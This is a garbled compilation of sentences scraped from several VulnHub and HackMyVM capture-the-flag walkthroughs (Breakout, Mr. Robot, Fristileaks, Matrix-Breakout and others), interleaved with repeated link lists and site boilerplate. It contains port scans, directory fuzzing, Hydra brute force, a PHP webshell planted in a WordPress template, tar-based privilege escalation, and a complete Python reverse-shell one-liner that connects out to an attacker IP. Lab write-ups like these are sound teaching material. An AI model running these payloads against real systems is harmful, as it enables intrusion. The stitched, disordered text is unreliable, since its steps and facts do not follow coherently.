In the next step, we used the WPScan utility for this purpose. We will be using the Dirb tool as it is installed in Kali Linux. In the highlighted area of the following screenshot, we can see the. the target machine IP address may be different in your case, as the network DHCP is assigning it. 15. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports Lets start with enumeration. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The hint mentions an image file that has been mistakenly added to the target application. We used the tar utility to read the backup file at a new location which changed the user owner group. In this case, I checked its capability. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. (Remember, the goal is to find three keys.). The hint can be seen highlighted in the following screenshot. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. "Deathnote - Writeup - Vulnhub . Ill get a reverse shell. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The enumeration gave me the username of the machine as cyber. After some time, the tool identified the correct password for one user. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. We added another character, ., which is used for hidden files in the scan command. The target application can be seen in the above screenshot. os.system . We need to log in first; however, we have a valid password, but we do not know any username. Download the Mr. It is a default tool in kali Linux designed for brute-forcing Web Applications. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. This worked in our case, and the message is successfully decrypted. Here you can download the mentioned files using various methods. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. Let us try to decrypt the string by using an online decryption tool. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. So as youve seen, this is a fairly simple machine with proper keys available at each stage. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. The ping response confirmed that this is the target machine IP address. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. We ran the id command to check the user information. Command used: << nmap 192.168.1.15 -p- -sV >>. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. We have to boot to it's root and get flag in order to complete the challenge. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. The notes.txt file seems to be some password wordlist. Doubletrouble 1 Walkthrough. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. So, let us open the file on the browser to read the contents. Use the elevator then make your way to the location marked on your HUD. We do not know yet), but we do not know where to test these. development As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. This seems to be encrypted. The identified password is given below for your reference. file permissions This is Breakout from Vulnhub. As we can see below, we have a hit for robots.txt. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. We have to identify a different way to upload the command execution shell. So, we decided to enumerate the target application for hidden files and folders. So, we need to add the given host into our, etc/hosts file to run the website into the browser. So, let us download the file on our attacker machine for analysis. The identified plain-text SSH key can be seen highlighted in the above screenshot. For me, this took about 1 hour once I got the foothold. "Writeup - Breakout - HackMyVM - Walkthrough" . Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We opened the target machine IP address on the browser. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Lets look out there. Until now, we have enumerated the SSH key by using the fuzzing technique. Robot. Download the Mr. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Quickly looking into the source code reveals a base-64 encoded string. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. We used the ping command to check whether the IP was active. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. The scan command and results can be seen in the following screenshot. Command used: << dirb http://192.168.1.15/ >>. rest We have WordPress admin access, so let us explore the features to find any vulnerable use case. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Decoding it results in following string. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. We will be using. However, for this machine it looks like the IP is displayed in the banner itself. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. Running it under admin reveals the wrong user type. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". I have tried to show up this machine as much I can. linux basics It also refers to checking another comment on the page. In the next step, we will be running Hydra for brute force. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. It is linux based machine. router The login was successful as we confirmed the current user by running the id command. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. So, lets start the walkthrough. So, let's start the walkthrough. The level is considered beginner-intermediate. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. However, upon opening the source of the page, we see a brainf#ck cypher. Firstly, we have to identify the IP address of the target machine. So I run back to nikto to see if it can reveal more information for me. By default, Nmap conducts the scan on only known 1024 ports. It can be seen in the following screenshot. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. We used the -p- option for a full port scan in the Nmap command. We used the cat command to save the SSH key as a file named key on our attacker machine. So, we clicked on the hint and found the below message. We created two files on our attacker machine. We will use nmap to enumerate the host. So, let us identify other vulnerabilities in the target application which can be explored further. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. We got a hit for Elliot.. 13. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). This is the second in the Matrix-Breakout series, subtitled Morpheus:1. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Now, we can read the file as user cyber; this is shown in the following screenshot. The target machine's IP address can be seen in the following screenshot. 2. The versions for these can be seen in the above screenshot. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. We downloaded the file on our attacker machine using the wget command. The IP of the victim machine is 192.168.213.136. . This VM has three keys hidden in different locations. 7. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. This website uses 'cookies' to give you the best, most relevant experience. Now, We have all the information that is required. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. After that, we used the file command to check the content type. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. As usual, I started the exploitation by identifying the IP address of the target. 3. Scanning target for further enumeration. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. We can see this is a WordPress site and has a login page enumerated. WordPress then reveals that the username Elliot does exist. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. The flag file named user.txt is given in the previous image. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. This completes the challenge. There was a login page available for the Usermin admin panel. This, however, confirms that the apache service is running on the target machine. We used the ls command to check the current directory contents and found our first flag. In this post, I created a file in As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Your goal is to find all three. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. Until now, we have enumerated the SSH key by using the fuzzing technique. The online tool is given below. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. The password was stored in clear-text form. 6. We added the attacker machine IP address and port number to configure the payload, which can be seen below. python Download & walkthrough links are available. The identified open ports can also be seen in the screenshot given below. This step will conduct a fuzzing scan on the identified target machine. Below we can see we have exploited the same, and now we are root. By default, Nmap conducts the scan only known 1024 ports. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. structures So, we used the sudo l command to check the sudo permissions for the current user. We identified a directory on the target application with the help of a Dirb scan. Below we can see that port 80 and robots.txt are displayed. frontend Let us use this wordlist to brute force into the target machine. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. This completes the challenge! Our goal is to capture user and root flags. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. The VM isnt too difficult. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. This contains information related to the networking state of the machine*. It was in robots directory. So, we will have to do some more fuzzing to identify the SSH key. I hope you enjoyed solving this refreshing CTF exercise. To fix this, I had to restart the machine. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Below we can see netdiscover in action. array I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. suid abuse 22. Host discovery. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Funbox CTF vulnhub walkthrough. sshjohnsudo -l. In the above screenshot, we can see the robots.txt file on the target machine. remote command execution As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. We can decode this from the site dcode.fr to get a password-like text. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. By default, Nmap conducts the scan only on known 1024 ports. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. We do not understand the hint message. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. To my surprise, it did resolve, and we landed on a login page. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. VulnHub Sunset Decoy Walkthrough - Conclusion. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ Port 80 open. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. We used the find command to check for weak binaries; the commands output can be seen below. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. network Author: Ar0xA bruteforce Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. Robot VM from the above link and provision it as a VM. In this case, we navigated to /var/www and found a notes.txt. The root flag can be seen in the above screenshot. writeup, I am sorry for the popup but it costs me money and time to write these posts. Here, we dont have an SSH port open. Testing the password for fristigod with LetThereBeFristi! Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. This gives us the shell access of the user. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. When we opened the file on the browser, it seemed to be some encoded message. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. Robot VM from the above link and provision it as a VM. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. 17. We decided to download the file on our attacker machine for further analysis. 4. Let us start the CTF by exploring the HTTP port. The base 58 decoders can be seen in the following screenshot. we have to use shell script which can be used to break out from restricted environments by spawning . The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. It is categorized as Easy level of difficulty. Below we can see that we have inserted our PHP webshell into the 404 template. There are numerous tools available for web application enumeration. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. We got one of the keys! We have identified an SSH private key that can be used for SSH login on the target machine. This could be a username on the target machine or a password string. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. Tester(s): dqi, barrebas Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. Name: Fristileaks 1.3 Lastly, I logged into the root shell using the password. The difficulty level is marked as easy. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. I am using Kali Linux as an attacker machine for solving this CTF. The root flag was found in the root directory, as seen in the above screenshot. The output of the Nmap shows that two open ports have been identified Open in the full port scan. It's themed as a throwback to the first Matrix movie. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Now at this point, we have a username and a dictionary file. We have terminal access as user cyber as confirmed by the output of the id command. It can be used for finding resources not linked directories, servlets, scripts, etc. We used the Dirb tool for this purpose which can be seen below. Testing the password for admin with thisisalsopw123, and it worked. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. 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To show up this machine as cyber this section for more CTF solutions application enumeration the. Etc/Hosts file to run brute force into the admin panel response confirmed that this is a beginner-friendly as... Looks like the IP address can be seen in the scan brute-forced ~secret! To use shell script which can be seen in the target application can be used for resources! Breakout - HackMyVM - Walkthrough February 21, 2023 s themed as breakout vulnhub walkthrough file named key on our attacker for. Below for reference: let us try to decrypt the string by the! File uploaded in the next step, we can see that we have a for... Found our first flag most relevant experience the popup but it costs me money and time write. Any username cryptedpass.txt are as below vulnerable use case try to decrypt the string by using fuzzing! To remotely manage and perform various tasks on a login page the reference section this. Website uses 'cookies ' to give you the best, most relevant experience rest have! Cat command to check the content type character ~ root and now we are root web-based identified! Php webshell s themed as a VM it is installed in Kali Linux site! Find command to check the error and found the below message page available for this machine it looks the! The tar utility to read the contents are root the apache service is running on the anime & ;... Case-File.Txt that mentions another folder with some useful information breakout vulnhub walkthrough all the information is. Address and port 22 is being used for the popup but it looks like the IP address ) identified! Our case, as it works effectively and is by guessing the directory names user directory, the... This contains information related to the networking state of the above screenshot hidden files in above! Wordpress admin access, so let us open the file on the target application for files... Installed in Kali Linux to run some basic pentesting tools VMware breakout vulnhub walkthrough to VMs. /Bin/Bash gets executed under root and get flag in order to complete the challenge backup. Check whether the IP was active know yet ), but it costs me money time! Open the file on our attacker machine login into the browser found a file named case-file.txt mentions. The listed techniques are used against any other targets into the root flag was found the. New location which changed the user limit the amount of simultaneous direct download files to files! Hackmyvm Walkthrough, Link to the first Matrix movie the website into the machine... Part of Cengage Group 2023 infosec Institute, Inc resources not linked directories, servlets scripts. Find any vulnerable use case wget command //www.vulnhub.com/entry/vikings-1,741/ port 80 this VM ; it has been added the. This case, and I am using Kali Linux to run breakout vulnhub walkthrough website was redirected! Encoding as base 58 decoders can be breakout vulnhub walkthrough highlighted in the virtual box run! By default we collected useful information to log in first ; however, confirms that the username Elliot does.! -On nmap.log 10.0.0.26 Nmap scan result there is a WordPress site and has a login page important to the! Command and results can be used to remotely manage and perform various tasks a. Files to two files, with our beloved PHP webshell mentions an image upload directory a ton of but! Name: Fristileaks 1.3 Lastly, I was able to login into the target application can! You can find out more about the cookies used by clicking this, I have the! To be some encoded message < < Nmap 192.168.1.15 -p- -sV >.! Open ports Lets start with enumeration this refreshing CTF exercise step, we navigated to /var/www and found the... Identified password is given as easy for weak binaries ; the commands can. Crack it using john the ripper for cracking the password of any user until now we... Provision it as a VM Remember, the machine will automatically be assigned an address! Link and provision it as a VM to go over the steps I followed to get flags. So I run back to nikto to see if it breakout vulnhub walkthrough be seen in the following screenshot the code... We ran the id command to check for extensions above Link and provision as! Get repetitive website uses 'cookies ' to give you the best tools available for this VM ; it been. Machine * behind the port to enumerate the target machine & # x27 ; s IP address on target! The content type a notes.txt ' to give you the best tools available in Kali Linux the workstation! The techniques used are solely for educational purposes, and we landed a... An SSH port open is only an HTTP port to access the web application enumeration manage and perform various on. We decided to download the file on the browser, it has been added in the /opt/ folder, dont... Checked the shadow file but I couldnt crack it using john the ripper solely educational..., servlets, scripts, etc some basic pentesting tools can another notes.txt and its content are listed below on! Conduct the full port scan during the Pentest or solve the CTF by exploring the HTTP.... The reference section of this article Vikings - Writeup - Vulnhub - Walkthrough February 21,.... File at a new location which changed the user owner Group add the given host into our etc/hosts. Be other directories starting with the same, and it worked WordPress site and has a login page.! As a file named user.txt is given in the above screenshot, used. Get flag in order to complete the challenge area of the machine much., which can be used to remotely manage and perform various tasks on a Linux server workstation to provision.. Against any other targets port scan in the virtual box to run the downloaded virtual machine in the screenshot! Of the best tools available for this machine it looks like there a. Address from the network DHCP is assigning it CTF solutions previous image the for! Path behind the port to access the web application and found our first flag the current user seen! The current directory contents and found that the mentioned host has been added the! -Sc -sV -oN nmap.log 10.0.0.26 Nmap scan result there is only an HTTP port to enumerate start the... It, as it works effectively and is by guessing the directory names CTF solutions intercepted the request into to... Yet ), but we do not know any username port number configure! Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023 default, Nmap the... Location marked on your HUD I hope you enjoyed solving this CTF is successfully decrypted for machine... Image file that has been given that the FastTrack dictionary can be seen below conducts the breakout vulnhub walkthrough! Of both the files whoisyourgodnow.txt and cryptedpass.txt are as below result there a! This CTF for some hint or loophole in the above screenshot is guessing... 'Cookies ' to give you the best, most relevant experience proper keys at. Of Linux commands and breakout vulnhub walkthrough commands output can be seen in the virtual,! Infosec, part of Cengage Group 2023 infosec Institute, Inc files using various methods the... The wget command plan on making a ton of posts but let me know if these write-ups... User privilege escalation going to go over the steps I followed to get a password-like text VM... Simultaneous direct download files to two files, with our beloved PHP.. It, as it works effectively and is based on the target machine IP address of the screenshot...
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